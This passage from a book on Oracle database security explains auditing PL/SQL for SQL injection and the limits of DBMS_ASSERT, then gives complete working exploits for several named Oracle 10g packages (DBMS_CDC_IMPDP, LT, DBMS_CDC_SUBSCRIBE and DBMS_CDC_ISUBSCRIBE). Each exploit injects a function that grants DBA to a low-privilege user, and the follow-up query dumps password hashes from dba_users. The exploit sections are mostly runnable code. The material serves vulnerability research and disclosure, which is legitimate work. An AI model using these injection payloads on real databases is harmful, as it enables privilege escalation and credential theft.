 rset_owner = objown and rset_name = objnm
 and bitand(rset_prop, 4) = 4;
 if (sys.exf$dbms_expfil_syspack.proc_is_definers(
objown, rcpcknm, 'TRUNCATE_RCTAB') = 0) then
 dbms_rlmgr_dr.raise_error(41682);
 end if;
 EXECUTE IMMEDIATE

'begin "'||objown||'".'||rcpcknm||'.TRUNCATE_RCTAB; end;';
exception
 when no_data_found then null;
end;

This code calls the exf$dbms_expfil_syspack.proc_is_definers function, which checks whether the named package is set to DEFINER or CURRENT_USER for the AUTHID column of DBA_PROCEDURES. If it is DEFINER, then the function returns a non-zero value. This is then checked in the trigger and if the return value is non-zero, then the TRUNCATE_RCTAB procedure of the package is executed. If during the time of the SELECT performed by exf$dbms_expfil_syspack.proc_is_definers and the EXECUTE IMMEDIATE the package can be re-specified as CURRENT_USER, then it's possible to run code as the EXFSYS user and gain their privileges. As you can guess, that doesn't leave much time, and, like most race conditions, is notoriously difficult to exploit.

Auditing PL SQL Code

When auditing PL/SQL code for SQL injection vulnerabilities, anywhere that a dynamic query is being built that uses user input is potentially vulnerable to SQL injection, so it's a good place to look. Another, often over-looked, area is data selected from tables being embedded in queries. The calls of interest to look out for include the following:

• EXECUTE IMMEDIATE - EXECUTE IMMEDIATE executes a SQL statement.
• DBMS_SQL - The DBMS_SQL package can be used to execute a SQL statement. The statement is first parsed with a call to the PARSE function, which creates a cursor. The cursor is then passed to the EXECUTE procedure and the query is executed. Often, you'll find the call to PARSE without the EXECUTE following it. The reason for this is to check whether an SQL query is syntactically correct without actually executing it. This can often lead to false positives when looking for SQL injection bugs. For example, the DBMS_UTILITY.NAME_TOKENIZE procedure calls DBMS_SQL.PARSE, and this procedure is called from various default packages:

  SQL> declare
   2 A varchar2(200);
   3 B varchar2(200);
   4 C varchar2(200);
   5 D varchar2(200);
  
   6 N number;
   7 begin
   8 dbms_utility.name_tokenize('NA''ME',A,B,C,D,N);
   9 end;
   10 /
   declare
   *
  ERROR at line 1:
  ORA-01756: quoted string not properly terminated
  ORA-06512: at "SYS.DBMS_UTILITY", line 79
  ORA-06512: at line 8
  

• DBMS_SYS_SQL - The DBMS_SYS_SQL package has a special function called PARSE_AS_USER. This function takes a userid as one of its parameters and the SQL statement is parsed as the given user. This function is mostly used by definer rights packages to ensure that certain SQL queries are executed as the user, rather than the definer, but occasionally not.
• Cursors - A cursor is a handle to an SQL query. Depending upon how the query is formed it may be possible to inject into the following:

  CREATE OR REPLACE FUNCTION FUNC(UNAME VARCHAR2) RETURN VARCHAR2 AS
  TYPE C_TYPE IS REF CURSOR;
  CV C_TYPE;
  P VARCHAR2(200);
  BEGIN
  OPEN CV FOR 'SELECT OBJECT_ID FROM ALL_OBJECTS WHERE OBJECT_NAME = '''
  ||UNAME|| '''';
  FETCH CV INTO P;
  CLOSE CV;
  RETURN P;
  END;
  /
  

The DBMS_ASSERT Package

10g Release 2 introduced a new package call DBMS_ASSERT, which has since been retrofitted to earlier versions. Due to the large amount of PL/SQL injection vulnerabilities discovered by security researchers between 2003 and 2005, Oracle invested in a data flow analysis tool to find SQL injection flaws. Any that are found are usually fixed with the DBMS_ASSERT package, which is used to validate user input. This was a great step forward for Oracle; and when they released 10g Release 2, the difference really showed. The number of SQL injection flaws found dropped off dramatically, as most of them had been fixed; but not all of them. It is clear that the tool they use has several shortcomings. While it is around 95 percent effective for catching direct user input SQL injection vulnerabilities, it does nothing when it comes to second-order SQL injection.

In second-order SQL injection, a column in a table is loaded with the SQL exploit and at a later stage this column is selected and then embedded in a dynamic SQL query (see the discussion later on EXTEND_WINDOW_LIST in "Exploiting DBMS_CDC_SUBSCRIBE and DBMS_CDC_ISUBSCRIBE." Another problem with their tool is that it seems (and I say "seems" because, without access to their tool, I can make only suppositions about its problems based on available evidence) to stop at exit points from the PL/SQL code, so when a PL/SQL function calls a C or Java function that is vulnerable to SQL injection, the tool seems not to find it. A good example of this are the DBMS_CDC_SUBSCRIBE and DBMS_CDC_ISUBSCRIBE flaws. These packages call into some Java that is riddled with SQL injection issues, and when 10g Release 2 was unveiled - in other words, after the tool had been let loose on the code - these vulnerabilities were still present. A number of Java classes owned by MDSYS were also missed. I can only infer from this that that Oracle's tool, as previously mentioned, stops at PL/SQL code exit points.

Some Real World Examples

These examples are taken from 10g Release 2, fully patched; and at the time of writing they are still vulnerable. They have all been reported to Oracle and patches should be available before this book hits the stores.

Exploiting DBMS_CDC_IMPDP

The BUMP_SEQUENCE procedure of the DBMS_CDC_IMPDP package is vulnerable to SQL injection. This is one example of a vulnerability that was missed by the Oracle data flow tool as it crosses the boundary between PL/SQL and C:

 PROCEDURE BUMP_SEQUENCE (SEQUENCE_OWNER IN VARCHAR2,
 SEQUENCE_NAME IN VARCHAR2,
 NEW_VALUE IN NUMBER) IS
 EXTERNAL
 NAME "qccdtp_bumpSequence"
 LIBRARY DBMS_CDCAPI_LIB
 PARAMETERS(
 SEQUENCE_OWNER OCISTRING,

 SEQUENCE_NAME OCISTRING,
 NEW_VALUE OCINUMBER)
 LANGUAGE C;

The preceding vulnerability can be exploited as follows:

CONNECT SCOTT/TIGER
SET SERVEROUTPUT ON
CREATE OR REPLACE FUNCTION MYFUNC RETURN VARCHAR2 AUTHID CURRENT_USER IS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
DBMS_OUTPUT.PUT_LINE('In function...');
EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
COMMIT;
RETURN 'STR';
END;
/
GRANT EXECUTE ON MYFUNC TO PUBLIC;
EXEC
DBMS_CDC_IMPDP.BUMP_SEQUENCE('SYS','BBB''||SCOTT.MYFUNC()||''BBB',0);

The VALIDATE_IMPORT procedure in this package is also vulnerable. The code in this procedure executes the following:

STMT_BUF := 'DELETE FROM "' || VER_PUB || '"."' || VER_VLDTAB ||
 '" WHERE import_error = ''Y''';
EXECUTE IMMEDIATE STMT_BUF;


STMT_BUF := 'SELECT name, vldtype FROM "' || VER_PUB ||
 '"."' || VER_VLDTAB || '"ORDER BY vldtype, name';
OPEN VOCUR FOR STMT_BUF;

Before these lines are executed, some sanity-checking code ensures that a valid user and a valid table are supplied:

CONNECT SCOTT/TIGER
SET SERVEROUTPUT ON
CREATE TABLE X (NAME VARCHAR2(30), VLDTYPE NUMBER);
INSERT INTO X (NAME,VLDTYPE) VALUES ('AAA',1);

CREATE OR REPLACE FUNCTION MYFUNC RETURN VARCHAR2 AUTHID CURRENT_USER IS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
DBMS_OUTPUT.PUT_LINE('In function...');
EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
COMMIT;
RETURN 'STR';
END;

/
-- SECOND PARAMETER IS ALSO VULNERABLE
EXEC SYS.DBMS_CDC_IMPDP.VALIDATE_IMPORT('SCOTT"." X" WHERE
NAME=SCOTT.MYFUNC--','BBBB');

Exploiting LT

The FINDRICSET procedure of the LT package is vulnerable to SQL injection. Actually, that's not true strictly speaking. The flaw lies in another package, LTRIC, but PUBLIC can't execute that - so the attack vector is LT. LT.FINDRICSET calls the FINDRICSET in the LTRIC package, which executes the following:

EXECUTE IMMEDIATE 'insert into wmsys.wm$ric_set_in values (''' ||
IN_TABLE_OWNER || ''',''' || IN_TABLE_NAME || ''')';

This can be exploited as follows:

exec sys.lt.FINDRICSET('AA.AA''||SCOTT.MYFUNC)--','BBBB');

Note that we close off the brackets for the insert statement and then chop off the remainder with the double minus.

Exploiting DBMS_CDC_SUBSCRIBE and DBMS_CDC_ISUBSCRIBE

Both of these packages were once found to be vulnerable to SQL injection by Cesar Cerrudo. However, after some investigation, I noted that Oracle's "fix" for them missed a number of other flaws. This is another one of those boundary flaws - the PL/SQL calls into Java - and this is where the vulnerability lies. One can use a Java decompiler such as JAD to access the Java source code from CDC.jar.

There is a SQL injection flaw in the first parameter of create_subscription of dbms_cdc_subscribe. In the following exploit, we first create a change set that matches our exploit in order to pass the validateChangeSet() function call made by createSubscription Handle() in SubscriptionHandle.class :

"SELECT COUNT(*) FROM SYS.CDC_CHANGE_SETS$ WHERE SET_NAME = ?";

(This is a prepared statement and is not vulnerable to SQL injection.) Once we've created a change set, we can then hit the following Java:

private boolean changeSetAdvEnabled()
 throws SQLException
 {
 Statement stmt = conn.createStatement();
 OracleResultSet orset = null;
 String sqltext = "SELECT decode(bitand(source_type,
15),0,0,1,1,2,2,4,4,8,8), advance_enabled FROM SYS.CDC_CHANGE_SOURCES$,
SYS.CDC_CHANGE_SETS$ WHERE source_name = change_source_name AND set_name
=
'" + change_set + "'";
 int srctype = 0;
 String adven;
 try
 {
 orset = (OracleResultSet)stmt.executeQuery(sqltext);
 ..
 ..

It can be exploited as follows:

connect scott/tiger
set serveroutput on
exec sys.dbms_java.set_output(2000);
create or replace function myfunc return varchar2 authid current_user is
PRAGMA AUTONOMOUS_TRANSACTION;
begin
DBMS_OUTPUT.PUT_LINE(USER);
execute immediate 'GRANT DBA TO SCOTT';
commit;
return 'STR';
end;
/
grant execute on myfunc to public;
exec
dbms_cdc_impdp.import_change_set('BBBB''||SCOTT.MYFUNC||''BBBB','CHANGE_
SOURCE_NAME','Y','Y','Y','Y','CAPTURE_NAME','APPLY_NAME','QUEUE_NAME','Q
UEUE_TABLE_NAME',1,'SET_DESCRIPTION',SYSDATE,SYSDATE,1,'SCOTT',SYSDATE,'
DEPT','SET_SEQUENCE');
exec
dbms_cdc_subscribe.create_subscription('BBBB''||SCOTT.MYFUNC||''BBBB','Z
ZZZ','XXXX');
connect scott/tiger
select username,password from dba_users;
-- cleanup as SYS
connect / as sysdba
delete from SYS.CDC_CHANGE_SETS$ where set_name like '%BBBB%';
revoke dba from scott;

The SUBSCRIBE procedure is also vulnerable. It calls Subscription. class, which contains the following code:

private void validateViewName(String vName)throws SQLException
{
 OracleCallableStatement ocstmt = null;
 try
 {
 ocstmt = (OracleCallableStatement)conn.prepareCall("BEGIN
SYS.DBMS_UTILITY.VALIDATE('SYS','" + vName + "',1); END;");
 ocstmt.execute();
 CDCConnection.tryCallablestmtClose(ocstmt);
 }

Note that this is a block of anonymous PL/SQL being executed:

connect scott/tiger
set serveroutput on
exec sys.dbms_java.set_output(2000);
create or replace function myfunc return varchar2 authid current_user is
PRAGMA AUTONOMOUS_TRANSACTION;
begin
DBMS_OUTPUT.PUT_LINE(USER);
execute immediate 'GRANT DBA TO SCOTT';
commit;
return 'STR';
end;
/
grant execute on myfunc to public;
-- first create a subscription
exec
dbms_cdc_subscribe.create_subscription('SYNC_SET','DESC','ATEST_SUBSCRIP
TION');
exec
DBMS_CDC_IMPDP.IMPORT_CHANGE_TABLE('SCOTT','EMP','SCOTT','DEPT','SYNC_SE
T',1,'Y','MVL_TEMP_LOG','CLEANERTAG',SYSDATE,1,1,SYSDATE,1,1,1,SYSDATE,1
,'DEPT');
-- now exploit it
exec
dbms_cdc_subscribe.subscribe('ATEST_SUBSCRIPTION','SCOTT','DEPT','','BB'
'||SCOTT.MYFUNC||''BB');
exec dbms_cdc_subscribe.drop_subscription('ATEST_SUBSCRIPTION');
connect scott/tiger
select username,password from dba_users;
delete from SYS.CDC_SUBSCRIBED_TABLES$ where view_name = 'BBSTRBB';
delete from SYS.CDC_CHANGE_TABLES$ where MVL_V7TRIGGER = 'CLEANERTAG';
revoke dba from scott;

The CREATE_SUBSCRIPTION procedure of the DBMS_CDC_ISUBSCRIBE package is also vulnerable. It executes the following Java in Subscription Handle.class:

private void createSubscription()
 throws SQLException
 {
 Statement stmt = conn.createStatement();
 try
 {
 String sqltext = "INSERT INTO SYS.CDC_SUBSCRIBERS$
(SUBSCRIPTION_NAME, HANDLE, SET_NAME, USERNAME, CREATED, STATUS,
EARLIEST_SCN, LATEST_SCN, DESCRIPTION, LAST_PURGED) VALUES ('"+
unquoted_subscription_name + "', '"+ handle.intValue() + "', '"+
change_set + "', USER, SYSDATE, 'N', "+ "1, 0, '"+ description + "',
NULL)";
 stmt.execute(sqltext);
 tryStmtClose(stmt);
 }

The EXTEND_WINDOW_LIST function is vulnerable to second-order SQL injection. The private function getChangeSetWindow() in SubscriptionWindow.class is vulnerable to second-order SQL injection. The function executes the query

"SELECT FRESHNESS_SCN, LOWEST_SCN, APPLY_NAME, SOURCE_TYPE FROM


SYS.CDC_CHANGE_SETS$, SYS.CDC_CHANGE_SOURCES$ WHERE SET_NAME = '"+
set_name + "'"+ "AND SOURCE_NAME=CHANGE_SOURCE_NAME"

where set_name is a value selected from the SYS.CDC_SUBSCRIBERS$ table by the getSubscription() private function. This function also selects, among other things, the STATUS and MVL_INVALID columns. The value for the STATUS must not be 'N',and MVL_INVALID must not be null; otherwise, an exception is thrown.

Then, both the getChangeSetWindow() and getSubscription() functions are called by the extendWindowCommon() function, which is called by the extendWindowList() function, which is called from extendWindowList() in SubscribeApi.class. The SYS.DBMS_CDC_ISUBSCRIBE.EXTEND_WINDOW_LIST PL/SQL procedure executes extend WindowList().

We can force SYS.DBMS_CDC_ISUBSCRIBE.EXTEND_WINDOW_LIST to execute arbitrary SQL by loading our exploit into the SET_NAME column of the SYS.CDC_SUBSCRIBERS$ table. This can be done using the DBMS_CDC_IMPDP.IMPORT_SUBSCRIBER procedure.

We trigger the second-order injection by executing the SYS.DBMS_CDC_ISUBSCRIBE.EXTEND_WINDOW_LIST procedure but this requires a handle for the subscription in question:

connect scott/tiger
set serveroutput on
exec sys.dbms_java.set_output(2000);
create or replace function myfunc return varchar2 authid current_user is
PRAGMA AUTONOMOUS_TRANSACTION;
begin
DBMS_OUTPUT.PUT_LINE(USER);
execute immediate 'GRANT DBA TO SCOTT';
commit;
return 'STR';
end;
/
grant execute on myfunc to public;


create table xyzaad (x number);
insert into xyzaad (x) values (1);
exec
DBMS_CDC_IMPDP.IMPORT_SUBSCRIBER('SCOTT','SOPHIE_SUB','SY''||SCOTT.MYFUN
C||''NC_SET','A',1,0,'QWERTY',SYSDATE,SYSDATE,'Y',SYSDATE,'XYZAAD');
declare
n varchar2(200);
o varchar2(200);
p number;
begin
dbms_cdc_subscribe.GET_SUBSCRIPTION_HANDLE('SYNC_SET','QWERTY',p);
p:=p-1;
n:=to_char(p);
dbms_output.put_line(n);
dbms_cdc_isubscribe.EXTEND_WINDOW_LIST(n,'SCOTT','XYZAAD','BBBBB','Y','N
',n,o,p);
end;
/
exec dbms_cdc_subscribe.drop_subscription('SOPHIE_SUB');
drop table xyzaad;
connect scott/tiger
select username,password from dba_users;

SELECT STATUS, HANDLE, SUBSCRIPTION_NAME FROM SYS.CDC_SUBSCRIBERS$ WHERE
MVL_INVALID IS NOT NULL;
SELECT STATUS, HANDLE, SUBSCRIPTION_NAME FROM SYS.CDC_SUBSCRIBERS$ WHERE
USERNAME='SCOTT';
SELECT SET_NAME FROM SYS.CDC_SUBSCRIBERS$ WHERE USERNAME='SCOTT';
delete from SYS.CDC_SUBSCRIBERS$ where username = 'SCOTT';
revoke dba from scott;

The PREPARE_UNBOUNDED_VIEW procedure on DBMS_CDC_ISUBSCRIBE is also vulnerable.

PLSQL and Triggers

Database triggers are written in PL/SQL but always execute with the privileges of the owner. They too can be vulnerable to SQL injection, and we examine some real-world examples in the next chapter.

Wrapping Up

This chapter has covered a lot of ground but it's probably one of the most important chapters in this book. Know thy PL/SQL! It's the key to the heart of Oracle security.